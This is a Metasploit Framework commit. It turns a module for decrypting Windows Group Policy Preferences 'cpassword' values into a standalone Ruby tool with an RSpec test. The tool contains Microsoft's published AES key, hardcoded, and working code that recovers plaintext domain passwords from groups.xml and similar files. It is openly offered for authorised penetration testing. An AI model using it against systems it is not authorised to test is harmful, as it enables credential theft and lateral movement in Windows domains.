Convert gpp_standalone.rb into a standalone script in tools

This commit is contained in:
sinn3r 2013-12-19 12:10:00 -06:00
parent 29f6740056
commit 284b3507ce
3 changed files with 163 additions and 66 deletions

View File

@ -1,66 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Group Policy "cpassword" Decrypt Standalone',
'Description' => %q{
This module will allow you to specify an encrypted cpassword string
using the Microsofts public AES key. This is useful if you don't or
can't use the GPP post exploitation module. Just paste the cpassword
encrypted string and it will output the decrypted string for you.
Tested Windows Server 2008 R2 Domain Controller.
},
'License' => MSF_LICENSE,
'Author' =>[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
'theLightCosine',
'mubix', #domain/dc enumeration code
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' # made the standalone module for a straight password decrypt - useful for when you need to manually grab the groups.xml or scheduledtasks.xml manually and need to decrypt without running post exploitation module
],
'References' =>
[
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
],
))
register_options(
[
OptString.new('CPASSWORD', [ true, "The encrypted cpassword string to perform decryption on."]),
], self.class)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
print_good("The decrypted AES password is: #{pass}")
end
def run
encrypted_data = datastore['CPASSWORD']
pass = decrypt(encrypted_data)
end
end

View File

@ -0,0 +1,31 @@
require 'spec_helper'
load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path
require 'fastlib'
require 'msfenv'
require 'msf/base'
describe CPassword do
context "Class methods" do
let(:cpasswd) do
CPassword.new
end
context ".decrypt" do
it "should return the decrypted password as 'testpassword'" do
# Encrypted password for "testpassword"
cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk"
pass = cpasswd.decrypt(cpass)
pass.should eq('testpassword')
end
it "should return an empty string due to a bad password" do
# Invalid password format
cpass = "BadPassword"
pass = cpasswd.decrypt(cpass)
pass.should eq('')
end
end
end
end

132
tools/cpassword_decrypt.rb Normal file
View File

@ -0,0 +1,132 @@
#!/usr/bin/env ruby
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# This script will allow you to specify an encrypted cpassword string using the Microsofts public
# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
# decrypted string for you.
#
# Tested Windows Server 2008 R2 Domain Controller.
#
# Authors:
# Ben Campbell <eat_meatballs[at]hotmail.co.uk>
# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
# scriptmonkey <scriptmonkey[at]owobble.co.uk>
# theLightCosine
# mubix (domain/dc enumeration code)
# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
#
# References:
# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
#
# Demo:
# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
# [+] The decrypted AES password is: testpassword
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'fastlib'
require 'msfenv'
require 'rex'
class CPassword
#
# Decrypts the AES-encrypted cpassword string
# @param encrypted_data [String] The encrypted cpassword
# @return [String] The decrypted string in ASCII
#
def decrypt(encrypted_data)
# Prepare the password for the decoder
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
# Decode the string using Base64
decoded = Rex::Text.decode_base64(epassword)
# Decryption
key = ''
key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
begin
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
rescue OpenSSL::Cipher::CipherError
# Decryption failed possibily due to bad input
return ''
end
# Converts the string to ASCII
Rex::Text.to_ascii(plaintext)
end
end
#
# Shows script usage
#
def usage
print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
exit
end
#
# Prints a status message
#
def print_status(msg='')
$stderr.puts "[*] #{msg}"
end
#
# Prints an error message
#
def print_error(msg='')
$stderr.puts "[-] #{msg}"
end
#
# Prints a good message
#
def print_good(msg='')
$stderr.puts "[+] #{msg}"
end
#
# main
#
if __FILE__ == $PROGRAM_NAME
pass = ARGV.shift
# Input check
usage if pass.nil? or pass.empty?
cpasswd = CPassword.new
pass = cpasswd.decrypt(pass)
if pass.empty?
print_error("Nothing was decrypted, please check your input.")
else
print_good("The decrypted AES password is: #{pass}")
end
end